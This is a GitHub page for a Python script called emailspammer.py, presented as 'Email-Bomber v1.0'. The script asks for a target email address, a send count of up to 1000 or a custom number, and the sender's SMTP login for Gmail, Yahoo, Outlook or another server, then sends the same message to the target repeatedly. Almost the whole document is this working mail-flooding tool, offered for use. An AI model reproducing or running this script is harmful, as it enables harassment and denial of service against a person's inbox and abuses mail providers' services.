-
Notifications
You must be signed in to change notification settings - Fork 0
/
emailspammer.py
126 lines (108 loc) · 4.65 KB
/
emailspammer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
'''imports'''
import smtplib
import sys
class bcolors:
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
def banner():
print(bcolors.GREEN + '+[+[+[ Email-Bomber v1.0 ]+]+]+')
print(bcolors.GREEN + '+[+[+[ made with codes ]+]+]+')
print(bcolors.GREEN + '''
\|/
`--+--'
|
,--'#`--.
|#######|
_.-'#######`-._
,-'###############`-.
,'#####################`, .___ .__ .
|#########################| [__ ._ _ [__) _ ._ _ |_ _ ._.
|###########################| [___[ | )[__)(_)[ | )[_)(/,[
|#############################|
|#############################| Author: w3w3w3
|#############################|
|###########################|
\#########################/
`.#####################,'
`._###############_,'
`--..#####..--' ,-.--.
*.______________________________________________________________,' (Bomb)
`--' ''')
class Email_Bomber:
count = 0
def __init__(self):
try:
print(bcolors.RED + '\n+[+[+[ Initializing program ]+]+]+')
self.target = str(input(bcolors.GREEN + 'Enter target email <: '))
self.mode = int(input(bcolors.GREEN + 'Enter BOMB mode (1,2,3,4) || 1:(1000) 2:(500) 3:(250) 4:(custom) <: '))
if int(self.mode) > int(4) or int(self.mode) < int(1):
print('ERROR: Invalid Option. GoodBye.')
sys.exit(1)
except Exception as e:
print(f'ERROR: {e}')
def bomb(self):
try:
print(bcolors.RED + '\n+[+[+[ Setting up bomb ]+]+]+')
self.amount = None
if self.mode == int(1):
self.amount = int(1000)
elif self.mode == int(2):
self.amount = int(500)
elif self.mode == int(3):
self.amount = int(250)
else:
self.amount = int(input(bcolors.GREEN + 'Choose a CUSTOM amount <: '))
print(bcolors.RED + f'\n+[+[+[ You have selected BOMB mode: {self.mode} and {self.amount} emails ]+]+]+')
except Exception as e:
print(f'ERROR: {e}')
def email(self):
try:
print(bcolors.RED + '\n+[+[+[ Setting up email ]+]+]+')
self.server = str(input(bcolors.GREEN + 'Enter email server | or select premade options - 1:Gmail 2:Yahoo 3:Outlook <: '))
premade = ['1', '2', '3']
default_port = True
if self.server not in premade:
default_port = False
self.port = int(input(bcolors.GREEN + 'Enter port number <: '))
if default_port == True:
self.port = int(587)
if self.server == '1':
self.server = 'smtp.gmail.com'
elif self.server == '2':
self.server = 'smtp.mail.yahoo.com'
elif self.server == '3':
self.server = 'smtp-mail.outlook.com'
self.fromAddr = str(input(bcolors.GREEN + 'Enter from address <: '))
self.fromPwd = str(input(bcolors.GREEN + 'Enter from password <: '))
self.subject = str(input(bcolors.GREEN + 'Enter subject <: '))
self.message = str(input(bcolors.GREEN + 'Enter message <: '))
self.msg = '''From: %s\nTo: %s\nSubject %s\n%s\n
''' % (self.fromAddr, self.target, self.subject, self.message)
self.s = smtplib.SMTP(self.server, self.port)
self.s.ehlo()
self.s.starttls()
self.s.ehlo()
self.s.login(self.fromAddr, self.fromPwd)
except Exception as e:
print(f'ERROR: {e}')
def send(self):
try:
self.s.sendmail(self.fromAddr, self.target, self.msg)
self.count +=1
print(bcolors.YELLOW + f'BOMB: {self.count}')
except Exception as e:
print(f'ERROR: {e}')
def attack(self):
print(bcolors.RED + '\n+[+[+[ Attacking... ]+]+]+')
for email in range(self.amount+1):
self.send()
self.s.close()
print(bcolors.RED + '\n+[+[+[ Attack finished ]+]+]+')
sys.exit(0)
if __name__=='__main__':
banner()
bomb = Email_Bomber()
bomb.bomb()
bomb.email()
bomb.attack()